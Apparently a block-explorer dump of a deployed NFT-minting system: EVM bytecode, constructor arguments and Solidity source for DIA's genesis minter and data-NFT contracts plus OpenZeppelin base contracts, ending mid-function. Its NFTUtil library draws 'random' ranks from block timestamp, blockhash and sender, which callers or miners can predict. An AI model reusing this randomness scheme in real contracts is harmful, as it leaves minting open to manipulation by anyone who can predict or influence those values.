65b6123ff612fc2565b81518351018152602082015160208401510160208201526040820151604084015101604082015292915050565b612434612fc2565b81518351038152602082015160208401510360208201526040820151604084015103604082015292915050565b612469612fc2565b60008061247584612b95565b90925090506000670de0b6b3a76400008287600160200201516124989190614064565b87516124a5908690614064565b6124af9190613961565b6124b99190613e94565b90506000670de0b6b3a76400008488600160200201516124d99190614064565b88516124e6908690614064565b6124f09190613920565b6124fa9190613e94565b604080516060810182529384526020840191909152968701519682019690965295945050505050565b6000818312611c435781611c45565b61253a612fc2565b60008061254684612b95565b90925090506000670de0b6b3a76400008287600260200201516125699190614064565b6020880151612579908690614064565b6125839190613961565b61258d9190613e94565b90506000670de0b6b3a76400008488600260200201516125ad9190614064565b60208901516125bd908690614064565b6125c79190613920565b6125d19190613e94565b90506040518060600160405280886000600381106125f1576125f1613a27565b602002015181526020018381526020018281525094505050505092915050565b612619612fc2565b60008061262584612b95565b90925090506000670de0b6b3a76400008287600260200201516126489190614064565b8751612655908690614064565b61265f9190613961565b6126699190613e94565b90506000670de0b6b3a76400008488600260200201516126899190614064565b8851612696908690614064565b6126a09190613920565b6126aa9190613e94565b90506040518060600160405280838152602001886001600381106126d0576126d0613a27565b602002015181526020018281525094505050505092915050565b6126f2612f95565b506040805160c081018252825151606080830191825284516020908101516080850152855185015160a085015291835283518082018552828601805151825280518401518285015251850151818601528284015283519081018452938301805151855280518201519185019190915251820151838301529081019190915290565b60606000836001600160401b0381111561278f5761278f613434565b6040519080825280602002602001820160405280156127b8578160200160208202803683370190505b50905060005b8481101561282857604080516020808201899052818301849052825180830384018152606090920190925280519101206127f99085906139dc565b82828151811061280b5761280b613a27565b60209081029190910101528061282081613e5c565b9150506127be565b50949350505050565b606060008260021461284557600019612848565b60015b9050600086516001600160401b0381111561286557612865613434565b60405190808252806020026020018201604052801561288e578160200160208202803683370190505b50905060005b875181101561298757856128f257826128c58983815181106128b8576128b8613a27565b6020026020010151612c1f565b6128cf9190614064565b8282815181106128e1576128e1613a27565b602002602001018181525050612975565b8560011415612929578261291e89838151811061291157612911613a27565b6020026020010151612c42565b516128cf9190614064565b8560021415612975578261294889838151811061291157612911613a27565b602001516129569190614064565b82828151811061296857612968613a27565b6020026020010181815250505b8061297f81613e5c565b915050612894565b50600087516001600160401b038111156129a3576129a3613434565b6040519080825280602002602001820160405280156129cc578160200160208202803683370190505b50905060005b8851811015612a0b57808282815181106129ee576129ee613a27565b602090810291909101015280612a0381613e5c565b9150506129d2565b5060015b8851811015612b74576000838281518110612a2c57612a2c613a27565b602002602001015190506000600183612a4591906140e9565b90505b600081118015612a705750848181518110612a6557612a65613a27565b602002602001015182125b15612b0e57848181518110612a8757612a87613a27565b602002602001015185826001612a9d91906139f0565b81518110612aad57612aad613a27565b602002602001018181525050838181518110612acb57612acb613a27565b602002602001015184826001612ae191906139f0565b81518110612af157612af1613a27565b602090810291909101015280612b0681614100565b915050612a48565b8185612b1b8360016139f0565b81518110612b2b57612b2b613a27565b60209081029190910101528284612b438360016139f0565b81518110612b5357612b53613a27565b60200260200101818152505050508080612b6c90613e5c565b915050612a0f565b506000878951612b8491906140e9565b825103825250979650505050505050565b6000806000610168612ba685612c6f565b612bb09190613e94565b612bbb906001613920565b9050610168612bca8282614064565b612bd49086613920565b612bde9190614117565b9350600060b4612bf6672b992ddfa23249d687614064565b612c009190613e94565b9050612c0b81612c84565b9350612c1681612c95565b92505050915091565b6000612c3c612c37612c3084612c42565b845161242c565b612d5f565b92915050565b612c4a612fc2565b8151612c3c90612c6890612c6090856001611465565b846002611465565b600361208a565b600080821215612c80578160000391505b5090565b6000612c3c6715cc96efd11924eb83015b6757325bbf446493ac9081900663400000000204600061ffff600483901c1660ff601484901c16631000000084161563200000008516151581612cda5760ff92909203915b6000604051806104400160405280610404815260200161412c610404913960046002860102818101519192509063ffffffff602082901c8116908216818103890260101c600088612d2d57818303612d31565b8184015b90508715612d3d576000035b637fffffff670de0b6b3a76400008202059d9c50505050505050505050505050565b8051602082015160408301516000929080029180029080020101611c458160006003821315612dab575080600281046001015b81811215612da95790506002818304820104612d92565b505b60008213600483121615612dbd575060015b919050565b604051806101600160405280606081526020016060815260200160608152602001612deb612fc2565b815260200160008152602001612dff61300d565b8152602001612e0c61303a565b8152600060208201819052604082018190526060820181905260809091015290565b6040518060c001604052806060815260200160608152602001606081526020016000815260200160008152602001600081525090565b6040518061014001604052806060815260200160008152602001612e86613080565b8152602001612e93613080565b8152602001600081526020016000815260200160008152602001612eb5612fc2565b8152602001612ec2612fc2565b8152602001612ecf612fc2565b905290565b604051806101a00160405280600081526020016000815260200160008152602001612efd61300d565b8152602001612f0a612fc2565b815260200160008152602001600081526020016000815260200160008152602001606081526020016060815260200160608152602001600081525090565b6040518061010001604052806000815260200160608152602001612f6a612f95565b8152602001600081526020016000815260200160608152602001606081526020016000151581525090565b60405180606001604052806003905b612fac612fc2565b815260200190600190039081612fa45790505090565b60405180606001604052806003906020820280368337509192915050565b6040518060c001604052806006905b612ff7612fc2565b815260200190600190039081612fef5790505090565b60405180604001604052806002905b613024612fc2565b81526020019060019003908161301c5790505090565b60405180610120016040528060001515815260200160008152602001600081526020016000815260200160008152602001613073612fc2565b8152602001612eb5612fc2565b6040518060e00160405280613093612fc2565b81526020016130a0612fc2565b815260006020820181905260408201526060016130bb612fc2565b815260006020820152604001612ecf612fc2565b6000602082840312156130e157600080fd5b5035919050565b60008151808452602080850194508084016000805b8481101561313d57825188835b60038110156131275782518252918601919086019060010161310a565b50505060609790970196918301916001016130fd565b50959695505050505050565b8060005b600381101561316c57815184526020938401939091019060010161314d565b50505050565b600081518084526020808501945080840160005b838110156131ac57613199878351613149565b6060969096019590820190600101613186565b509495945050505050565b8060005b600281101561316c576131cf848351613149565b60609390930192602091909101906001016131bb565b8051151582526020810151602083015260408101516040830152606081015160608301526080810151608083015260a081015161322560a0840182613149565b5060c081015161010061323a81850183613149565b60e0830151915061324f610160850183613149565b82015190506132626101c0840182613149565b505050565b60005b8381101561328257818101518382015260200161326a565b8381111561316c5750506000910152565b600081518084526132ab816020860160208601613267565b601f01601f19169290920160200192915050565b6000815160c084526132d460c0850182613293565b9050602083015184820360208601526132ed8282613293565b91505060408301516040850152606083015184820360608601526133118282613293565b9150506080830151848203608086015261332b8282613293565b91505060a083015184820360a08601526106918282613293565b60408152600083516104408060408501526133646104808501836130e8565b91506020860151603f19808685030160608701526133828483613172565b93506040880151915080868503016080870152506133a08382613172565b92505060608601516133b560a0860182613149565b506080860151610100818187015260a088015191506101206133d9818801846131b7565b60c089015192506133ee6101e08801846131e5565b60e08901511515610400880152908801511515610420870152870151151591850191909152506101408501511515610460840152828103602084015261069181856132bf565b634e487b7160e01b600052604160045260246000fd5b6040516101a081016001600160401b038111828210171561346d5761346d613434565b60405290565b60405161014081016001600160401b038111828210171561346d5761346d613434565b60405161010081016001600160401b038111828210171561346d5761346d613434565b604051606081016001600160401b038111828210171561346d5761346d613434565b604051601f8201601f191681016001600160401b038111828210171561350357613503613434565b604052919050565b600082601f83011261351c57600080fd5b81516001600160401b0381111561353557613535613434565b613548601f8201601f19166020016134db565b81815284602083860101111561355d57600080fd5b61356e826020830160208701613267565b949350505050565b80518015158114612dbd57600080fd5b60006020828403121561359857600080fd5b81516001600160401b03808211156135af57600080fd5b908301906101a082860312156135c457600080fd5b6135cc61344a565b8251828111156135db57600080fd5b6135e78782860161350b565b8252506020830151602082015260408301516040820152606083015160608201526080830151608082015260a083015160a082015261362860c08401613576565b60c082015260e083015160e08201526101009150613647828401613576565b82820152610120915061365b828401613576565b918101919091526101408281015190820152610160808301519082015261018091820151918101919091529392505050565b8060005b600381101561316c576136a5848351613149565b6060939093019260209190910190600101613691565b600081518084526020808501945080840160005b838110156131ac576136e287835161368d565b6101209690960195908201906001016136cf565b82815260406020820152600061356e60408301846136bb565b600082601f83011261372057600080fd5b6137286134b9565b80606084018581111561373a57600080fd5b845b8181101561375457805184526020938401930161373c565b509095945050505050565b60006101e0828403121561377257600080fd5b60405160e081016001600160401b038111828210171561379457613794613434565b6040529050806137a4848461370f565b81526137b3846060850161370f565b60208201526137c460c08401613576565b604082015260e083015160608201526137e184610100850161370f565b60808201526137f36101608401613576565b60a082015261380684610180850161370f565b60c08201525092915050565b60006020828403121561382457600080fd5b81516001600160401b038082111561383b57600080fd5b90830190610580828603121561385057600080fd5b613858613473565b82518281111561386757600080fd5b6138738782860161350b565b8252506020830151602082015261388d866040850161375f565b60408201526138a086610220850161375f565b6060820152610400830151608082015261042083015160a082015261044083015160c08201526138d486610460850161370f565b60e08201526138e7866104c0850161370f565b6101008201526138fb86610520850161370f565b61012082015295945050505050565b634e487b7160e01b600052601160045260246000fd5b600080821280156001600160ff1b03849003851316156139425761394261390a565b600160ff1b839003841281161561395b5761395b61390a565b50500190565b60008083128015600160ff1b85018412161561397f5761397f61390a565b6001600160ff1b038401831381161561399a5761399a61390a565b50500390565b828152600082516139b8816020850160208701613267565b919091016020019392505050565b634e487b7160e01b600052601260045260246000fd5b6000826139eb576139eb6139c6565b500690565b60008219821115613a0357613a0361390a565b500190565b6000816000190483118215151615613a2257613a2261390a565b500290565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156131ac57815187529582019590820190600101613a51565b60006101a08251818552613a8382860182613293565b9150506020830151602085015260408301516040850152606083015160608501526080830151608085015260a083015160a085015260c0830151613acb60c086018215159052565b5060e083015160e085015261010080840151613aea8287018215159052565b505061012083810151151590850152610140808401519085015261016080840151908501526101809283015192909301919091525090565b60006101008a8352896020840152886040840152806060840152875181840152506020870151610200610120840152613b5f6103008401826136bb565b90506040880151613b7461014085018261368d565b506060880151610260840152608088015161028084015260a088015160ff1980858403016102a0860152613ba88383613a3d565b925060c08a0151915080858403016102c086015250613bc78282613a3d565b91505060e0880151613bde6102e085018215159052565b508281036080840152613bf18188613a6d565b60a0840196909652505060c081019290925260e09091015295945050505050565b60006001600160401b03821115613c2b57613c2b613434565b5060051b60200190565b600082601f830112613c4657600080fd5b613c4e6134b9565b80610120840185811115613c6157600080fd5b845b8181101561375457613c75878261370f565b8452602090930192606001613c63565b600082601f830112613c9657600080fd5b81516020613cab613ca683613c12565b6134db565b8281526101209283028501820192828201919087851115613ccb57600080fd5b8387015b85811015613cee57613ce18982613c35565b8452928401928101613ccf565b5090979650505050505050565b600082601f830112613d0c57600080fd5b81516020613d1c613ca683613c12565b82815260059290921b84018101918181019086841115613d3b57600080fd5b8286015b84811015613d565780518352918301918301613d3f565b509695505050505050565b600060208284031215613d7357600080fd5b81516001600160401b0380821115613d8a57600080fd5b908301906102008286031215613d9f57600080fd5b613da7613496565b82518152602083015182811115613dbd57600080fd5b613dc987828601613c85565b602083015250613ddc8660408501613c35565b6040820152610160830151606082015261018083015160808201526101a083015182811115613e0a57600080fd5b613e1687828601613cfb565b60a0830152506101c083015182811115613e2f57600080fd5b613e3b87828601613cfb565b60c083015250613e4e6101e08401613576565b60e082015295945050505050565b6000600019821415613e7057613e7061390a565b5060010190565b6000600160ff1b821415613e8d57613e8d61390a565b5060000390565b600082613ea357613ea36139c6565b600160ff1b821460001984141615613ebd57613ebd61390a565b500590565b604080825283519082018190526000906020906060840190828701845b82811015613efb57815184529284019290840190600101613edf565b50505092019290925292915050565b600060208284031215613f1c57600080fd5b611c4582613576565b8060005b600281101561316c57613f3d848351613149565b6060939093019260209190910190600101613f29565b8481526103e08101613f68602083018661368d565b613f7761014083018551613149565b6020840151613f8a6101a0840182613149565b506040840151151561020083015260608401516102208301526080840151613fb6610240840182613149565b5060a084015115156102a083015260c0840151613fd76102c0840182613149565b50610691610320830184613f25565b6000610240808385031215613ffa57600080fd5b83601f84011261400957600080fd5b60405160c081016001600160401b038111828210171561402b5761402b613434565b60405290830190808583111561404057600080fd5b845b8381101561375457614054878261370f565b8252602090910190606001614042565b60006001600160ff1b038184138284138082168684048611161561408a5761408a61390a565b600160ff1b60008712828116878305891216156140a9576140a961390a565b600087129250878205871284841616156140c5576140c561390a565b878505871281841616156140db576140db61390a565b505050929093029392505050565b6000828210156140fb576140fb61390a565b500390565b60008161410f5761410f61390a565b506000190190565b600082614126576141266139c6565b50079056fe0000000000c90f8801921d20025b26d703242abf03ed26e604b6195d057f00350647d97c0710a34507d95b9e08a2009a096a90490a3308bc0afb68050bc3ac350c8bd35e0d53db920e1bc2e40ee387660fab272b1072a0481139f0cf120116d512c8106e138edbb1145576b1151bdf8515e2144416a81305176dd9de183366e818f8b83c19bdcbf31a82a0251b4732ef1c0b826a1ccf8cb31d934fe51e56ca1e1f19f97b1fdcdc1b209f701c2161b39f2223a4c522e541af23a6887e2467775725280c5d25e845b626a8218527679df42826b92828e5714a29a3c4852a61b1012b1f34eb2bdc4e6f2c98fbba2d553afb2e110a622ecc681e2f8752623041c76030fbc54d31b54a5d326e54c73326e2c233def2873496824f354d905636041ad936ba2013376f9e46382493b038d8fe93398cdd323a402dd13af2eeb73ba51e293c56ba703d07c1d53db832a53e680b2c3f1749b73fc5ec974073f21d4121589a41ce1e64427a41d04325c13543d09aec447acd50452456bc45cd358f46756827471cece647c3c22e4869e664490f57ee49b415334a581c9d4afb6c974b9e038f4c3fdff34ce100344d8162c34e2106174ebfe8a44f5e08e24ffb654c5097fc5e5133cc9451ced46e5269126e53028517539b2aef5433027d54ca0a4a556040e255f5a4d2568a34a9571deef957b0d2555842dd5458d40e8c5964649759f3de125a8279995b1035ce5b9d11535c290acc5cb420df5d3e52365dc79d7b5e50015d5ed77c895f5e0db25fe3b38d60686cce60ec382f616f146b61f1003e6271fa6862f201ac637114cc63ef328f646c59bf64e889256563bf9165ddfbd266573cbb66cf811f6746c7d767bd0fbc683257aa68a69e806919e31f698c246b69fd614a6a6d98a36adcc9646b4af2786bb812d06c24295f6c8f351b6cf934fb6d6227f96dca0d146e30e3496e96a99c6efb5f116f5f02b16fc1938470231099708378fe70e2cbc571410804719e2cd171fa394872552c8472af05a67307c3cf735f662573b5ebd0740b53fa745f9dd074b2c8837504d3447555bd4b75a585ce75f42c0a7641af3c768e0ea576d9498877235f2c776c4eda77b417df77fab988784033287884841378c7aba17909a92c794a7c11798a23b079c89f6d7a05eeac7a4210d87a7d055a7ab6cba37aef63237b26cb4e7b5d039d7b920b887bc5e28f7bf8882f7c29fbed7c5a3d4f7c894bdd7cb727237ce3ceb17d0f42177d3980eb7d628ac57d8a5f3f7db0fdf77dd6668e7dfa98a77e1d93e97e3f57fe7e5fe4927e7f39567e9d55fb7eba3a387ed5e5c57ef0585f7f0991c37f2191b37f3857f57f4de4507f62368e7f754e7f7f872bf27f97cebc7fa736b37fb563b27fc255957fce0c3d7fd8878d7fe1c76a7fe9cbbf7ff094777ff621817ffa72d07ffd88597fff62157fffffffa26469706673582212205ed717fcb7fae66e00bf50a52568f49d71b69e620952d3722d318500d848256d64736f6c63430008090033
[ 3, 4, 12 ]
0xf301CB5D711A240A59F456C1888E2Be330A52ca6
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "./DIADataNFT.sol"; library NFTUtil { function randomByte(uint256 seed) private view returns (uint8) { return uint8(uint256(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1), msg.sender, seed)))%256); } function randInt(uint256 max, uint256 seed) external view returns (uint256) { return randomByte(seed) % max; } } contract DIAGenesisMinter is Ownable { using NFTUtil for *; address[] public genesisNFTs; address[] public postGenesisNFTs; //true = means in genesis //false = post genesis mapping (address => bool) allNFTs; uint256 private seed; constructor(uint256 _seed) { seed = _seed; } event MintedDataNFT(address DIADataNFT, address owner, uint256 numMinted, uint256 newRank, bool isGenesis); event NewNFT(address NFTAddr); event UpdatedNFT(address NFTAddr, bool isGenesis); function updateSeed(uint256 newSeed) external onlyOwner { seed = newSeed; } function addNFT(address _addr) public onlyOwner{ allNFTs[_addr] = true; genesisNFTs.push(_addr); emit NewNFT(_addr); } function updateNFT(address _addr, bool _isGenesis) public onlyOwner{ allNFTs[_addr] = _isGenesis; if (_isGenesis){ //updating to Genesis, remove from post-genesis if its there for(uint256 i = 0; i < postGenesisNFTs.length; i++) { if(postGenesisNFTs[i] == _addr) { postGenesisNFTs[i] = postGenesisNFTs[postGenesisNFTs.length - 1]; postGenesisNFTs.pop(); } } }else{ //if its not genesis, remove it from the genesisNFT for(uint256 i = 0; i < genesisNFTs.length; i++) { if(genesisNFTs[i] == _addr) { genesisNFTs[i] = genesisNFTs[genesisNFTs.length - 1]; genesisNFTs.pop(); } } } emit UpdatedNFT(_addr, _isGenesis); } function postGenesisMint(uint256 NFTIndex) external{ DIADataNFT diaDataNFTImpl = DIADataNFT(postGenesisNFTs[NFTIndex]); require(!diaDataNFTImpl.genesisPhase()); require(diaDataNFTImpl.started()); // Randomize for the case that not all Non-Common NFTs are minted yet uint256 newRank = NFTUtil.randInt(diaDataNFTImpl.NUM_PRIVILEGED_RANKS(), seed); uint256 mintedRank = diaDataNFTImpl._mintDataNFT(msg.sender, newRank); // Transfer payment token to burn address require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, diaDataNFTImpl.burnAddress(), diaDataNFTImpl.burnAmount()), "Payment token transfer to burn address failed."); // Transfer payment token to minting pool require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, address(diaDataNFTImpl), diaDataNFTImpl.mintingPoolAmount()), "Payment token transfer to minting pool failed."); // Transfer payment token to source NFT pool require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, address(diaDataNFTImpl.diaSourceNFTImpl()), diaDataNFTImpl.diaSourceNFTImpl().getSourcePoolAmount(diaDataNFTImpl.sourceNFTId())), "Payment token transfer to source pool failed."); emit MintedDataNFT(postGenesisNFTs[NFTIndex], msg.sender, diaDataNFTImpl.numMintedNFTs(), mintedRank, false); } function genesisMint() external { uint256 genesisNFTIndex = NFTUtil.randInt(genesisNFTs.length, seed); DIADataNFT diaDataNFTImpl = DIADataNFT(genesisNFTs[genesisNFTIndex]); uint256 newRank = NFTUtil.randInt(diaDataNFTImpl.NUM_PRIVILEGED_RANKS(), seed); uint256 triedNFTIds = 0; while(!diaDataNFTImpl.started() || !diaDataNFTImpl.genesisPhase() || !diaDataNFTImpl.exists() || diaDataNFTImpl.numMintedNFTs() >= diaDataNFTImpl.NUM_PRIVILEGED_RANKS()) { require(triedNFTIds < genesisNFTs.length, "Couldn't find NFT to mint."); genesisNFTIndex = (genesisNFTIndex + 1) % (genesisNFTs.length); diaDataNFTImpl = DIADataNFT(genesisNFTs[genesisNFTIndex]); triedNFTIds += 1; } uint256 mintedRank = diaDataNFTImpl._mintDataNFT(msg.sender, newRank); // Transfer payment token to burn address require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, diaDataNFTImpl.burnAddress(), diaDataNFTImpl.burnAmount()), "Payment token transfer to burn address failed."); // Transfer payment token to minting pool require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, address(diaDataNFTImpl), diaDataNFTImpl.mintingPoolAmount()), "Payment token transfer to minting pool failed."); // Transfer payment token to source NFT pool require(ERC20(diaDataNFTImpl.paymentToken()).transferFrom(msg.sender, address(diaDataNFTImpl.diaSourceNFTImpl()), diaDataNFTImpl.diaSourceNFTImpl().getSourcePoolAmount(diaDataNFTImpl.sourceNFTId())), "Payment token transfer to source pool failed."); emit MintedDataNFT(genesisNFTs[genesisNFTIndex], msg.sender, diaDataNFTImpl.numMintedNFTs(), mintedRank, true); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./DIASourceNFT.sol"; import "./Strings.sol"; contract DIADataNFT is Ownable, ERC1155 { using Math for uint256; using Strings for string; address public DIASourceNFTAddr; DIASourceNFT public diaSourceNFTImpl = DIASourceNFT(DIASourceNFTAddr); address public DIAGenesisMinterAddr; uint256 public constant NUM_PRIVILEGED_RANKS = 10; uint256 public numMintedNFTs; mapping (uint256 => address) rankMinter; mapping (uint256 => uint256) rankClaims; mapping (uint256 => uint) lastClaimPayout; bool public exists; bool public started; bool public genesisPhase; uint256 public sourceNFTId; mapping (address => uint256) public mintsPerWallet; uint256 public maxMintsPerWallet = 3; address public paymentToken; address public constant burnAddress = address(0x000000000000000000000000000000000000dEaD); uint256 public burnAmount; uint256 public mintingPoolAmount; constructor(address _paymentToken, uint256 _burnAmount, uint256 _mintingPoolAmount, address _DIAGenesisMinterAddr, bytes memory metadataURI) ERC1155(string(metadataURI)) { require(_paymentToken != address(0), "Payment token address is 0."); paymentToken = _paymentToken; burnAmount = _burnAmount; mintingPoolAmount = _mintingPoolAmount; DIAGenesisMinterAddr = _DIAGenesisMinterAddr; } event NewDataNFTCategory(uint256 sourceNFTId); event MintedDataNFT(address owner, uint256 numMinted, uint256 newRank); event ClaimedMintingPoolReward(uint256 rank, address claimer); function uri(uint256 _id) public view override returns (string memory) { if (_id > NUM_PRIVILEGED_RANKS) { _id = NUM_PRIVILEGED_RANKS; } return string(abi.encodePacked( super.uri(_id), Strings.uint2str(_id), ".json" )); } function finishGenesisPhase() external onlyOwner { genesisPhase = false; } function startMinting() external onlyOwner { started = true; } function updateMaxMintsPerWallet(uint256 newValue) external onlyOwner { maxMintsPerWallet = newValue; } function updateDIAGenesisMinterAddr(address newAddress) external onlyOwner { DIAGenesisMinterAddr = newAddress; } function setSrcNFT(address _newAddress) external onlyOwner { DIASourceNFTAddr = _newAddress; diaSourceNFTImpl = DIASourceNFT(DIASourceNFTAddr); } function generateDataNFTCategory(uint256 _sourceNFTId) external { require(diaSourceNFTImpl.balanceOf(msg.sender, _sourceNFTId) > 0); exists = true; genesisPhase = true; started = false; sourceNFTId = _sourceNFTId; emit NewDataNFTCategory(_sourceNFTId); } function getRankClaim(uint256 newRank, uint256 max) public view returns (uint256) { // 1. Get tetrahedron sum of token units to distribute uint256 totalClaimsForMint = getTetrahedronSum(max); // 2. Get raw claim from the rank of an NFT uint256 rawRankClaim = (getInverseTetrahedronNumber(newRank, max) * mintingPoolAmount) / totalClaimsForMint; // 3. Special cases: privileged ranks if (newRank == 1 || newRank == 2) { return ((getInverseTetrahedronNumber(1, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(2, max) * mintingPoolAmount) / totalClaimsForMint) / 2; } else if (newRank == 3 || newRank == 4 || newRank == 5) { return ((getInverseTetrahedronNumber(3, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(4, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(5, max) * mintingPoolAmount) / totalClaimsForMint) / 3; } else if (newRank == 6 || newRank == 7 || newRank == 8 || newRank == 9) { return ((getInverseTetrahedronNumber(6, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(7, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(8, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(9, max) * mintingPoolAmount) / totalClaimsForMint) / 4; } return rawRankClaim; } function _mintDataNFT(address _origin, uint256 _newRank) public returns (uint256) { require(msg.sender == DIAGenesisMinterAddr, "Only callable from the genesis minter contract"); // Check that category exists require(exists, "_mintDataNFT.Category must exist"); // Get current number minted of the NFT uint256 numMinted = numMintedNFTs; if (numMinted < NUM_PRIVILEGED_RANKS) { while (rankMinter[_newRank] != address(0)) { _newRank = (_newRank + 1) % NUM_PRIVILEGED_RANKS; } } else { _newRank = numMinted; } for (uint256 i = 0; i < Math.max(NUM_PRIVILEGED_RANKS, numMinted); i++) { rankClaims[i] += getRankClaim(i, Math.max(NUM_PRIVILEGED_RANKS, numMinted)); } // Check that the wallet is still allowed to mint require(mintsPerWallet[_origin] < maxMintsPerWallet, "Sender has used all its mints"); // Mint data NFT _mint(_origin, _newRank, 1, ""); // Update data struct rankMinter[_newRank] = _origin; numMintedNFTs = numMinted + 1; // Update Source NFT data uint256 currSourceNFTId = sourceNFTId; diaSourceNFTImpl.notifyDataNFTMint(currSourceNFTId); mintsPerWallet[_origin] += 1; emit MintedDataNFT(_origin, numMinted, _newRank); return _newRank; } function getRankMinter(uint256 rank) external view returns (address) { return rankMinter[rank]; } function getLastClaimPayout(uint256 rank) external view returns (uint) { return lastClaimPayout[rank]; } function claimMintingPoolReward(uint256 rank) public { require(!genesisPhase); address claimer = msg.sender; require(balanceOf(claimer, rank) > 0); uint256 reward = rankClaims[rank]; // transfer reward to claimer require(ERC20(paymentToken).transfer(claimer, reward)); // Set claim to 0 for rank rankClaims[rank] = 0; emit ClaimedMintingPoolReward(rank, claimer); } function getRewardAmount(uint256 rank) public view returns (uint) { return rankClaims[rank]; } // Returns the n-th tetrahedron number function getTetrahedronNumber(uint256 n) internal pure returns (uint256) { return (n * (n + 1) * (n + 2))/ 6; } // Returns the n-th tetrahedron number from above function getInverseTetrahedronNumber(uint256 n, uint256 max) internal pure returns (uint256) { return getTetrahedronNumber(max - n); } function getTetrahedronSum(uint256 n) internal pure returns (uint256) { uint256 acc = 0; // Start at 1 so that the last minter doesn't get 0 for (uint256 i = 1; i <= n; i++) { acc += getTetrahedronNumber(i); } return acc; } function getMintedNFTs() external view returns (uint) { return numMintedNFTs; } /*function getErcRank(uint256 internalRank) public pure returns (uint256) { // Translate rank to ERC1155 ID "rank" info uint256 ercRank = 0; if (internalRank == 0) { ercRank = 0; } else if (internalRank == 1 || internalRank == 2) { ercRank = 1; } else if (internalRank == 3 || internalRank == 4 || internalRank == 5) { ercRank = 2; } else if (internalRank == 6 || internalRank == 7 || internalRank == 8 || internalRank == 9) { ercRank = 3; } else { ercRank = 4; } return ercRank; }*/ } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor (string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { 